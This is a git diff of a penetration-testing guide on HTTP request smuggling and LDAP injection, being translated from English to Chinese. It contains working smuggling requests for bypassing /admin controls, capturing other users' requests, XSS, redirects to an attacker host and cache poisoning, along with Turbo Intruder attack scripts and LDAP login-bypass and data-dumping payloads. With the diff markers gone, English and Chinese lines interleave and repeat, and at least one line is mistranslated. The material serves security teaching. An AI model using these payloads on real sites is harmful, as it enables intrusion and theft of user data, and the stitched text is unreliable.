有时,前端代理会实施安全措施,审查传入请求。然而,这些措施可以通过利用 HTTP 请求走私来绕过,从而允许未经授权访问受限端点。例如,访问 `/admin` 可能在外部被禁止,前端代理积极阻止此类尝试。然而,这个代理可能未能检查嵌入在走私 HTTP 请求中的请求,从而留下绕过这些限制的漏洞。
Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
**CL.TE Example**
考虑以下示例,说明如何使用 HTTP 请求走私绕过前端安全控制,特别是针对通常由前端代理保护的 `/admin` 路径:
**CL.TE 示例**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -315,11 +310,9 @@ Content-Length: 10
x=
```
在CL.TE攻击中`Content-Length`头用于初始请求,而后续嵌入请求则利用`Transfer-Encoding: chunked`头。前端代理处理初始`POST`请求,但未能检查嵌入的`GET /admin`请求,从而允许未经授权访问`/admin`路径。
In the CL.TE attack, the `Content-Length` header is leveraged for the initial request, while the subsequent embedded request utilizes the `Transfer-Encoding: chunked` header. The front-end proxy processes the initial `POST` request but fails to inspect the embedded `GET /admin` request, allowing unauthorized access to the `/admin` path.
**TE.CL Example**
**TE.CL 示例**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -335,15 +328,13 @@ a=x
0
```
相反在TE.CL攻击中初始的`POST`请求使用`Transfer-Encoding: chunked`,而后续嵌入的请求则基于`Content-Length`头进行处理。与CL.TE攻击类似前端代理忽视了被隐藏的`GET /admin`请求,意外地授予了对受限`/admin`路径的访问。
Conversely, in the TE.CL attack, the initial `POST` request uses `Transfer-Encoding: chunked`, and the subsequent embedded request is processed based on the `Content-Length` header. Similar to the CL.TE attack, the front-end proxy overlooks the smuggled `GET /admin` request, inadvertently granting access to the restricted `/admin` path.
### 揭示前端请求重写 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
### Revealing front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Applications often employ a **front-end server** to modify incoming requests before passing them to the back-end server. A typical modification involves adding headers, such as `X-Forwarded-For: <IP of the client>`, to relay the client's IP to the back-end. Understanding these modifications can be crucial, as it might reveal ways to **bypass protections** or **uncover concealed information or endpoints**.
To investigate how a proxy alters a request, locate a POST parameter that the back-end echoes in the response. Then, craft a request, using this parameter last, similar to the following:
应用程序通常使用**前端服务器**来修改传入请求,然后将其传递给后端服务器。典型的修改涉及添加头信息,例如`X-Forwarded-For: <IP of the client>`以将客户端的IP转发给后端。理解这些修改可能至关重要因为它可能揭示**绕过保护**或**发现隐藏的信息或端点**的方法。
要调查代理如何更改请求找到一个后端在响应中回显的POST参数。然后构造一个请求使用这个参数作为最后一个类似于以下内容
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -360,21 +351,19 @@ Content-Length: 100
search=
```
在这个结构中,后续请求组件被附加在 `search=` 之后,这是在响应中反映的参数。这个反射将暴露后续请求的头部。
In this structure, subsequent request components are appended after `search=`, which is the parameter reflected in the response. This reflection will expose the headers of the subsequent request.
重要的是要将嵌套请求的 `Content-Length` 头与实际内容长度对齐。建议从一个小值开始并逐渐增加,因为过低的值会截断反射的数据,而过高的值可能会导致请求出错。
It's important to align the `Content-Length` header of the nested request with the actual content length. Starting with a small value and incrementing gradually is advisable, as too low a value will truncate the reflected data, while too high a value can cause the request to error out.
该技术在 TE.CL 漏洞的上下文中也适用,但请求应以 `search=\r\n0` 结束。无论换行符如何,值将附加到搜索参数中。
This technique is also applicable in the context of a TE.CL vulnerability, but the request should terminate with `search=\r\n0`. Regardless of the newline characters, the values will append to the search parameter.
此方法主要用于理解前端代理所做的请求修改,基本上进行自我导向的调查。
This method primarily serves to understand the request modifications made by the front-end proxy, essentially performing a self-directed investigation.
### 捕获其他用户的请求 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
It's feasible to capture the requests of the next user by appending a specific request as the value of a parameter during a POST operation. Here's how this can be accomplished:
By appending the following request as the value of a parameter, you can store the subsequent client's request:
通过在 POST 操作期间将特定请求附加为参数的值,可以捕获下一个用户的请求。以下是如何实现这一点的:
通过将以下请求附加为参数的值,您可以存储后续客户端的请求:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -394,22 +383,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
在这种情况下,**comment 参数**旨在存储在公开可访问页面的帖子评论部分中的内容。因此,后续请求的内容将作为评论出现。
In this scenario, the **comment parameter** is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment.
然而,这种技术有其局限性。通常,它仅捕获 smuggled 请求中使用的参数分隔符之前的数据。对于 URL 编码的表单提交,这个分隔符是 `&` 字符。这意味着从受害者用户请求中捕获的内容将在第一个 `&` 处停止,这可能甚至是查询字符串的一部分。
However, this technique has limitations. Generally, it captures data only up to the parameter delimiter used in the smuggled request. For URL-encoded form submissions, this delimiter is the `&` character. This means the captured content from the victim user's request will stop at the first `&`, which may even be part of the query string.
此外,值得注意的是,这种方法在 TE.CL 漏洞中也是可行的。在这种情况下,请求应以 `search=\r\n0` 结束。无论换行符如何,值将附加到搜索参数。
Additionally, it's worth noting that this approach is also viable with a TE.CL vulnerability. In such cases, the request should conclude with `search=\r\n0`. Regardless of newline characters, the values will be appended to the search parameter.
### 使用 HTTP 请求走私来利用反射型 XSS
### Using HTTP request smuggling to exploit reflected XSS
HTTP 请求走私可以被用来利用易受 **反射型 XSS** 攻击的网页,提供显著的优势:
HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to **Reflected XSS**, offering significant advantages:
- Interaction with the target users is **not required**.
- Allows the exploitation of XSS in parts of the request that are **normally unattainable**, like HTTP request headers.
In scenarios where a website is susceptible to Reflected XSS through the User-Agent header, the following payload demonstrates how to exploit this vulnerability:
- **不需要**与目标用户互动。
- 允许在 **通常无法达到** 的请求部分中利用 XSS例如 HTTP 请求头。
在网站通过 User-Agent 头部易受反射型 XSS 攻击的情况下,以下有效载荷演示了如何利用此漏洞:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -430,42 +417,36 @@ Content-Type: application/x-www-form-urlencoded
A=
```
这个有效载荷的结构旨在利用漏洞,通过以下方式:
This payload is structured to exploit the vulnerability by:
1. 发起一个看似典型的 `POST` 请求,带有 `Transfer-Encoding: chunked` 头部以指示走私的开始。
2. 随后跟随一个 `0`,标记块消息体的结束。
3. 然后,引入一个走私的 `GET` 请求,其中 `User-Agent` 头部注入了一个脚本,`<script>alert(1)</script>`,当服务器处理这个后续请求时触发 XSS。
1. Initiating a `POST` request, seemingly typical, with a `Transfer-Encoding: chunked` header to indicate the start of smuggling.
2. Following with a `0`, marking the end of the chunked message body.
3. Then, a smuggled `GET` request is introduced, where the `User-Agent` header is injected with a script, `<script>alert(1)</script>`, triggering the XSS when the server processes this subsequent request.
By manipulating the `User-Agent` through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.
通过走私操控 `User-Agent`,该有效载荷绕过了正常请求限制,从而以非标准但有效的方式利用了反射型 XSS 漏洞。
#### HTTP/0.9
> [!CAUTION]
> In case the user content is reflected in a response with a **`Content-type`** such as **`text/plain`**, preventing the execution of the XSS. If the server support **HTTP/0.9 it might be possible to bypass this**!
> 如果用户内容在响应中以 **`Content-type`** 反射,例如 **`text/plain`**,将阻止 XSS 的执行。如果服务器支持 **HTTP/0.9,可能可以绕过这一点**
The version HTTP/0.9 was previously to the 1.0 and only uses **GET** verbs and **doesnt** respond with **headers**, just the body.
HTTP/0.9 版本早于 1.0,仅使用 **GET** 动词,并且 **不** 响应 **头部**,只有主体。
In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint that will reply with the input of the user** to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a **fake HTTP/1.1 response (with headers and body)** so the response will contain valid executable JS code with a `Content-Type` of `text/html`.
在 [**这篇文章**](https://mizu.re/post/twisty-python) 中,利用了请求走私和一个 **会回复用户输入的易受攻击端点** 来走私一个 HTTP/0.9 请求。响应中反射的参数包含一个 **伪造的 HTTP/1.1 响应(带有头部和主体)**,因此响应将包含有效的可执行 JS 代码,`Content-Type``text/html`
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Applications often redirect from one URL to another by using the hostname from the `Host` header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:
### 利用 HTTP 请求走私进行站内重定向 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
应用程序通常通过使用重定向 URL 中的 `Host` 头部的主机名从一个 URL 重定向到另一个 URL。这在像 Apache 和 IIS 这样的 Web 服务器中很常见。例如,请求一个没有尾部斜杠的文件夹会导致重定向以包含斜杠:
```
GET /home HTTP/1.1
Host: normal-website.com
```
Results in:
结果为:
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Though seemingly harmless, this behavior can be manipulated using HTTP request smuggling to redirect users to an external site. For example:
尽管看似无害,但这种行为可以通过 HTTP request smuggling 被操控,以将用户重定向到外部网站。例如:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -479,35 +460,29 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
This smuggled request could cause the next processed user request to be redirected to an attacker-controlled website:
这个被走私的请求可能导致下一个处理的用户请求被重定向到攻击者控制的网站:
```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
Results in:
结果为:
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
在这个场景中,用户对 JavaScript 文件的请求被劫持。攻击者可以通过响应恶意 JavaScript 来潜在地危害用户。
In this scenario, a user's request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response.
### 通过 HTTP 请求走私利用 Web 缓存中毒 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
如果 **前端基础设施的任何组件缓存内容**,通常是为了提高性能,则可以执行 Web 缓存中毒。通过操纵服务器的响应,可以 **毒化缓存**
Web cache poisoning can be executed if any component of the **front-end infrastructure caches content**, typically to enhance performance. By manipulating the server's response, it's possible to **poison the cache**.
之前,我们观察到如何改变服务器响应以返回 404 错误(参见 [Basic Examples](./#basic-examples))。同样,可以欺骗服务器以响应对 `/static/include.js` 的请求而提供 `/index.html` 内容。因此,`/static/include.js` 的内容在缓存中被替换为 `/index.html` 的内容,使得 `/static/include.js` 对用户不可访问可能导致服务拒绝DoS
Previously, we observed how server responses could be altered to return a 404 error (refer to [Basic Examples](./#basic-examples)). Similarly, its feasible to trick the server into delivering `/index.html` content in response to a request for `/static/include.js`. Consequently, the `/static/include.js` content gets replaced in the cache with that of `/index.html`, rendering `/static/include.js` inaccessible to users, potentially leading to a Denial of Service (DoS).
This technique becomes particularly potent if an **Open Redirect vulnerability** is discovered or if there's an **on-site redirect to an open redirect**. Such vulnerabilities can be exploited to replace the cached content of `/static/include.js` with a script under the attacker's control, essentially enabling a widespread Cross-Site Scripting (XSS) attack against all clients requesting the updated `/static/include.js`.
Below is an illustration of exploiting **cache poisoning combined with an on-site redirect to open redirect**. The objective is to alter the cache content of `/static/include.js` to serve JavaScript code controlled by the attacker:
如果发现 **开放重定向漏洞** 或者存在 **指向开放重定向的站内重定向**,这种技术变得特别强大。这些漏洞可以被利用来将 `/static/include.js` 的缓存内容替换为攻击者控制的脚本,从而实质上使所有请求更新的 `/static/include.js` 的客户端面临广泛的跨站脚本XSS攻击。
下面是利用 **缓存中毒结合站内重定向到开放重定向** 的示例。目标是改变 `/static/include.js` 的缓存内容,以提供由攻击者控制的 JavaScript 代码:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -525,22 +500,20 @@ Content-Length: 10
x=1
```
注意嵌入的请求针对 `/post/next?postId=3`。该请求将被重定向到 `/post?postId=4`,利用 **Host header value** 来确定域名。通过更改 **Host header**,攻击者可以将请求重定向到他们的域名 (**on-site redirect to open redirect**)。
Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**).
在成功的 **socket poisoning** 之后,应发起对 `/static/include.js`**GET request**。该请求将受到先前 **on-site redirect to open redirect** 请求的污染,并获取由攻击者控制的脚本内容。
After successful **socket poisoning**, a **GET request** for `/static/include.js` should be initiated. This request will be contaminated by the prior **on-site redirect to open redirect** request and fetch the content of the script controlled by the attacker.
随后,任何对 `/static/include.js` 的请求将提供攻击者脚本的缓存内容,有效地发起广泛的 XSS 攻击。
Subsequently, any request for `/static/include.js` will serve the cached content of the attacker's script, effectively launching a broad XSS attack.
### 使用 HTTP request smuggling 执行 web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **What is the difference between web cache poisoning and web cache deception?**
> **web cache poisoning 和 web cache deception 之间有什么区别?**
>
> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
> - 在 **web cache poisoning** 中,攻击者导致应用程序在缓存中存储一些恶意内容,并且这些内容从缓存中提供给其他应用程序用户。
> - 在 **web cache deception** 中,攻击者导致应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。
攻击者构造一个走私请求,以获取敏感的用户特定内容。考虑以下示例:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -551,21 +524,17 @@ The attacker crafts a smuggled request that fetches sensitive user-specific cont
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
如果这个走私请求污染了用于静态内容的缓存条目(例如,`/someimage.png`),受害者在`/private/messages`中的敏感数据可能会被缓存到静态内容的缓存条目下。因此,攻击者可能会检索到这些缓存的敏感数据。
If this smuggled request poisons a cache entry intended for static content (e.g., `/someimage.png`), the victim's sensitive data from `/private/messages` might be cached under the static content's cache entry. Consequently, the attacker could potentially retrieve these cached sensitive data.
### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**In this post**](https://portswigger.net/research/trace-desync-attack) is suggested that if the server has the method TRACE enabled it could be possible to abuse it with a HTTP Request Smuggling. This is because this method will reflect any header sent to the server as part of the body of the response. For example:
### 通过 HTTP 请求走私滥用 TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**在这篇文章中**](https://portswigger.net/research/trace-desync-attack) 建议如果服务器启用了 TRACE 方法,可能会通过 HTTP 请求走私进行滥用。这是因为该方法会将发送到服务器的任何头部反射为响应体的一部分。例如:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Will send a response such as:
请发送您的请求。
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -576,19 +545,17 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
一个滥用这种行为的例子是**首先伪装一个HEAD请求**。该请求将仅以GET请求的**头部**进行响应(**`Content-Type`**在其中。然后立即在HEAD请求后伪装一个TRACE请求这将**反射发送的数据**。\
由于HEAD响应将包含一个`Content-Length`头,**TRACE请求的响应将被视为HEAD响应的主体因此在响应中反射任意数据**。\
该响应将被发送到连接上的下一个请求,因此这可以**用于缓存的JS文件中例如注入任意JS代码**。
An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent dat**a.\
As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response.\
This response will be sent to the next request over the connection, so this could be **used in a cached JS file for example to inject arbitrary JS code**.
### 通过HTTP响应拆分滥用TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
继续关注[**这篇文章**](https://portswigger.net/research/trace-desync-attack)建议另一种滥用TRACE方法的方式。如评论所述伪装一个HEAD请求和一个TRACE请求可以**控制HEAD请求响应中的一些反射数据**。HEAD请求主体的长度基本上在Content-Length头中指示并由TRACE请求的响应形成。
Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. As commented, smuggling a HEAD request and a TRACE request it's possible to **control some reflected data** in the response to the HEAD request. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request.
Therefore, the new idea would be that, knowing this Content-Length and the data given in the TRACE response, it's possible to make the TRACE response contains a valid HTTP response after the last byte of the Content-Length, allowing an attacker to completely control the request to the next response (which could be used to perform a cache poisoning).
Example:
因此新的想法是知道这个Content-Length和TRACE响应中给出的数据可以使TRACE响应在Content-Length的最后一个字节之后包含一个有效的HTTP响应从而允许攻击者完全控制下一个响应的请求这可以用于执行缓存中毒
示例:
```
GET / HTTP/1.1
Host: example.com
@ -607,9 +574,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Will generate these responses (note how the HEAD response has a Content-Length making the TRACE response part of the HEAD body and once the HEAD Content-Length ends a valid HTTP response is smuggled):
将生成这些响应注意HEAD响应具有Content-Length使得TRACE响应成为HEAD主体的一部分一旦HEAD Content-Length结束一个有效的HTTP响应被走私
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -630,51 +595,49 @@ Content-Length: 50
<script>alert(arbitrary response)</script>
```
### 利用 HTTP 响应去同步化进行 HTTP 请求走私
### Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation
Have you found some HTTP Request Smuggling vulnerability and you don't know how to exploit it. Try these other method of exploitation:
您是否发现了一些 HTTP 请求走私漏洞,但不知道如何利用它?尝试这些其他的利用方法:
{{#ref}}
../http-response-smuggling-desync.md
{{#endref}}
### Other HTTP Request Smuggling Techniques
### 其他 HTTP 请求走私技术
- Browser HTTP Request Smuggling (Client Side)
- 浏览器 HTTP 请求走私(客户端)
{{#ref}}
browser-http-request-smuggling.md
{{#endref}}
- Request Smuggling in HTTP/2 Downgrades
- HTTP/2 降级中的请求走私
{{#ref}}
request-smuggling-in-http-2-downgrades.md
{{#endref}}
## Turbo intruder scripts
## Turbo intruder 脚本
### CL.TE
From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
来自 [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
@ -684,38 +647,36 @@ Foo: bar
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
engine.queue(attack)
victim = '''GET / HTTP/1.1
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
table.add(req)
```
### TE.CL
From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
来自: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
@ -729,31 +690,30 @@ kk
0
'''
engine.queue(attack)
engine.queue(attack)
victim = '''GET / HTTP/1.1
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
table.add(req)
```
## Tools
## 工具
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): This tool is a grammar-based HTTP Fuzzer useful to find weird request smuggling discrepancies.
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 该工具是一个基于语法的HTTP Fuzzer有助于发现奇怪的请求走私差异。
## References
## 参考
- [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
- [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
@ -767,11 +727,10 @@ def handleResponse(req, interesting):
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**从黑客的角度看待您的网络应用、网络和云**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化漏洞收集重要证据将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,7 @@
# Browser HTTP Request Smuggling
# 浏览器 HTTP 请求走私
{{#include ../../banners/hacktricks-training.md}}
**Check the post [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
**查看帖子 [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,7 @@
# Request Smuggling in HTTP/2 Downgrades
# HTTP/2降级中的请求走私
{{#include ../../banners/hacktricks-training.md}}
**Check the post [https://portswigger.net/research/http-2-downgrades](https://portswigger.net/research/http-2-downgrades)**
**查看帖子 [https://portswigger.net/research/http-2-downgrades](https://portswigger.net/research/http-2-downgrades)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,26 +1,26 @@
# LDAP Injection
# LDAP 注入
## LDAP Injection
## LDAP 注入
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
{% embed url="https://www.stmcyber.com/careers" %}
## LDAP Injection
## LDAP 注入
### **LDAP**
**If you want to know what is LDAP access the following page:**
**如果你想知道什么是 LDAP请访问以下页面**
{{#ref}}
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP Injection** is an attack targeting web applications that construct LDAP statements from user input. It occurs when the application **fails to properly sanitize** input, allowing attackers to **manipulate LDAP statements** through a local proxy, potentially leading to unauthorized access or data manipulation.
**LDAP 注入** 是一种针对从用户输入构建 LDAP 语句的 web 应用程序的攻击。当应用程序 **未能正确清理** 输入时,攻击者可以通过本地代理 **操纵 LDAP 语句**,这可能导致未经授权的访问或数据操纵。
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
@ -37,33 +37,32 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
&#xNAN;**(&)** = Absolute TRUE\
&#xNAN;**(|)** = Absolute FALSE
&#xNAN;**(&)** = 绝对真\
&#xNAN;**(|)** = 绝对假
For example:\
例如:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`
You can access to the database, and this can content information of a lot of different types.
你可以访问数据库,这可能包含多种不同类型的信息。
**OpenLDAP**: If 2 filters arrive, only executes the first one.\
**ADAM or Microsoft LDS**: With 2 filters they throw an error.\
**SunOne Directory Server 5.0**: Execute both filters.
**OpenLDAP**: 如果到达 2 个过滤器,只执行第一个。\
**ADAM 或 Microsoft LDS**: 2 个过滤器会抛出错误。\
**SunOne Directory Server 5.0**: 执行两个过滤器。
**It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.**
**发送过滤器时使用正确的语法非常重要,否则会抛出错误。最好只发送 1 个过滤器。**
The filter has to start with: `&` or `|`\
Example: `(&(directory=val1)(folder=public))`
过滤器必须以 `&``|` 开头\
示例: `(&(directory=val1)(folder=public))`
`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
Then: `(&(objectClass=`**`*)(ObjectClass=*))`** will be the first filter (the one executed).
然后: `(&(objectClass=`**`*)(ObjectClass=*))`** 将是第一个过滤器(被执行的那个)。
### Login Bypass
LDAP supports several formats to store the password: clear, md5, smd5, sh1, sha, crypt. So, it could be that independently of what you insert inside the password, it is hashed.
### 登录绕过
LDAP 支持多种格式来存储密码明文、md5、smd5、sh1、sha、crypt。因此可能无论你在密码中插入什么它都会被哈希处理。
```bash
user=*
password=*
@ -118,17 +117,15 @@ username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
```
#### Lists
#### 列表
- [LDAP_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt)
- [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
- [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
- [LDAP 属性](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
- [LDAP PosixAccount 属性](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
### Blind LDAP Injection
You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection:
### 隐式 LDAP 注入
您可以强制返回 False 或 True 响应,以检查是否返回任何数据并确认可能的隐式 LDAP 注入:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
@ -140,11 +137,9 @@ Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
#### Dump data
You can iterate over the ascii letters, digits and symbols:
您可以遍历 ASCII 字母、数字和符号:
```bash
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
@ -155,13 +150,11 @@ You can iterate over the ascii letters, digits and symbols:
(&(sn=administrator)(password=MB*)) : KO
...
```
### Scripts
#### **Discover valid LDAP fields**
LDAP objects **contains by default several attributes** that could be used to **save information**. You can try to **brute-force all of them to extract that info.** You can find a list of [**default LDAP attributes here**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
